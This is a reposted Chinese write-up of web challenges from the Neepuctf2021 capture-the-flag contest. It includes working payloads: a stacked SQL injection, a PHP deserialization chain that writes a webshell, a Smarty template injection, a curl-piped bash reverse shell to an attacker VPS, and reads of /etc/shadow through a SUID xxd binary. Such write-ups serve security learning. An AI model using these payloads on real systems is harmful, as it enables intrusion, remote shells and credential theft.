[Neepuctf2021]wp

Posted huamanggg

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[Neepuctf2021]wp相关的知识,希望对你有一定的参考价值。

一个比较小众的比赛,是别学校的招新赛,不过也对外开放
记录一点有点难度的题

随便注2.0

是原题“[强网杯 2019]随便注”的变式,过滤的很多

return preg_match("/select|update|delete|drop|insert|where|rename|set|handler|char|\\*| |	|\\./i",$inject);

空格都可以用%0a绕过,但是rename被ban了,改名不能用了,set被过滤,预处理语句的set也不能用了,handle也不能用了,网上流传的这三个方法都不行了

看了wp才知道是这样绕过
用prepare与concat结合绕过
select用逗号,隔开

0';PREPARE%0cricky%0cfrom%0cconcat('sel','ect%0cflag%0cfrom%0c`@Neepu2021招新赛`');EXECUTE%0cricky;%23

有懈可击

  • git泄露
  • php特性,点和空格传值的时候会转化成下划线

f12看到测试账号,登入进后台
在这里插入图片描述
扫描后台有git泄露
找到了一个index.txt
在这里插入图片描述

里面唯一的php代码
在这里插入图片描述
传一个值给neepu_debug.mode,然后会执行这个命令

但是出现问题,php中,传值的时候,如果键名有点.,那么就会转化成下划线_
文档
在这里插入图片描述

绕过方法:
使用一个中括号,让他以为是数组
比如这题就可以这样绕过

?neepu[debug.mode=system('cat /flag');

Serialize

  • 任意文件读取
  • session反序列化
  • session_upload配合session反序列化

看他的请求里面有一个/functions/file.php?file=可以读取文件,这波直接拿到许多网页的源码

<?php
/**
 *	@author: Ricky
 *	@function: Read file
 *	@return string
 *	@param $filename string
 *  @param $dirname string
 **/

header('content-type:image/jpeg');
$filename = $_GET['file'];
$dirname = '/var/www/html/';
if(!preg_match('/^\\/|\\/$|\\.\\//', $filename)){
    $file = file_get_contents($dirname.$filename);
    echo $file;
} else{
    die('Read fail :(');
}

index.php

<?php
error_reporting(0);
include "config/backdoor.php";
ini_set('session.serialize_handler','php');
session_start();
class neepu {
    protected
        //! Neepu
        $neepu,
        //! Memory-held data
        $data,
        //! Info
        $info;

    public function __construct() {
        $this->neepu = "<a class=\\"navbar-brand\\" href=\\"index.php\\">Serialize</a>";
        $this->info['info'] = "<a class=\\"navbar-brand\\" href=\\"index.php\\">PHPINFO</a>";
    }

    public function checkinfo() {
        if(!isset($_POST['info'])) {
            echo $this->neepu;
        }else {
            echo $this->info['info'];
            phpinfo();
        }
    }

    public function __call($name,$args) {
        echo $this->neepu;
    }

    public function __toString() {
        $this->info['info']->data;
        return "Neepu!";
    }
}
class n33pu {
    public
        //! Neepu func
        $func;

    public function __get($args) {
        $Neepu = $this->func;
        return $Neepu();
    }
}
class dumb {
    public
        //! dumb
        $dumb;

    public function silly(){
        echo "Who care about it?";
    }

    public function __destruct(){
        $this->dumb->silly();
    }
}
$Neepu = new neepu();
echo $Neepu->checkinfo();
?>

config/backdoor.php

<?php
class backdoor {
    protected
        //! eval code
        $cmd;

    public function __invoke() {
        if(preg_match('/[;+=!@\\$\\"\\.\\_\\(\\)\\[\\]]{1,}/i',$this->cmd)) {
            file_put_contents("/var/www/html/neepu.php", "<?php ".$this->cmd);
        }
        else{
            die("A webshell is waiting for you");
        }
    }
}

应该是在index里面利用这个backdoor来写一个马进后台
这个马就很特殊,只能有这几个符号,这几个符号一看就是之前遇到的无数字字母命令执行,看p神文章

post一个info就得到了phpinfo

找一下反序列化的点
phar是不行了
在这里插入图片描述
发现了一个小细节
他这里使用的session引擎是php,而本身的php版本是php7,php5.5.4后默认php_serialize

ini_set('session.serialize_handler','php');

这里是存在session反序列化,但是题目也没用上session,那就属于session不可直接控制的情况
看一下session_upload,发现是打开的
在这里插入图片描述
应该锁定是session反序列化了,然后依靠session_upload写shell

|O:4:\\"dumb\\":1:{s:4:\\"dumb\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";O:5:\\"neepu\\":3:{s:4:\\"data\\";N;s:5:\\"neepu\\";N;s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";O:8:\\"backdoor\\":1:{s:3:\\"cmd\\";s:230:\\"$_=[];$_=@\\"$_\\";$_=$_[\\"!\\"==\\"@\\"];$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__++;$__++;$____=\\"_\\";$____.=$__;$____.=$___;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$_[_]($_[__]);\\";}}}}s:4:\\"info\\";a:1:{s:4:\\"info\\";O:5:\\"n33pu\\":1:{s:4:\\"func\\";N;}}}}

线程开多一点,可以看到成功执行了
在这里插入图片描述

但是在phpinfo里面看到很多命令执行函数都被过滤了
找disable

system,exec,shell_exec,pctnl_exec,chroot,curl_exec

在这里插入图片描述
漏了一个passthru
成功执行命令
在这里插入图片描述
反弹shell进去
这个反弹shell的方法我也是第一次用,curl反弹shell
在自己的vps上创建一个shell.html,里面写上bash -i >& /dev/tcp/公网ip/端口 0>&1
在目标的机子上执行curl 域名/shell.html |bash
然后到自己的vps上执行nc

成功反弹shell
在这里插入图片描述
根目录没有flag,那就估计是在root里面,看了一下,没有权限
在这里插入图片描述
接下来就是提权

find / -perm -u=s -type f 2>/dev/null

在这里插入图片描述

xxd "/etc/shadow" | xxd -r
xxd "/root/flag" | xxd -r

在这里插入图片描述

gamebox

万能密码登录进去

1'='0

发现验证码在返回包里面,就是图片名
使用burp的Pitchfork方式爆破
先设置一下,选中验证码图片的名字
在这里插入图片描述
最下面的这个要选always
在这里插入图片描述
线程为1
在这里插入图片描述
开始爆破
在这里插入图片描述
成功后进行跳转
在这里插入图片描述
在这里插入图片描述
注意他请求了一个php文件,用伪协议读取源码

/index.php?file=php://filter/read=convert.base64-encode/resource=rander.php
<?php
// create object
if ($_SESSION['num'] >= 5) {
	include('smarty/Smarty.class.php');
	$smarty = new Smarty;
	$name = $_SESSION["username"];
	$smarty->display('string:恭喜 '.$name.' 获得了胜利');
}

在这个name里面有着SSTI
重新登录,用这个名字来登陆

# {{shell_exec("\\ls\\t/")}}'='0
{{shell_exec("cat\\t/This_is_your_Flag")}}'='0

然后继续抓包爆破
在这里插入图片描述

以上是关于[Neepuctf2021]wp的主要内容,如果未能解决你的问题,请参考以下文章

php WP片段(HTML,内部主题)

html 社交分享片段(WP)

markdown WordPress片段:使用WP CLI检查数据库

php Wordpress functions.php片段使用Yoast的插件将Google Analytics跟踪添加到wp_nav_menu

WP8,怎么使用HttpClient?

WP-2021西湖论剑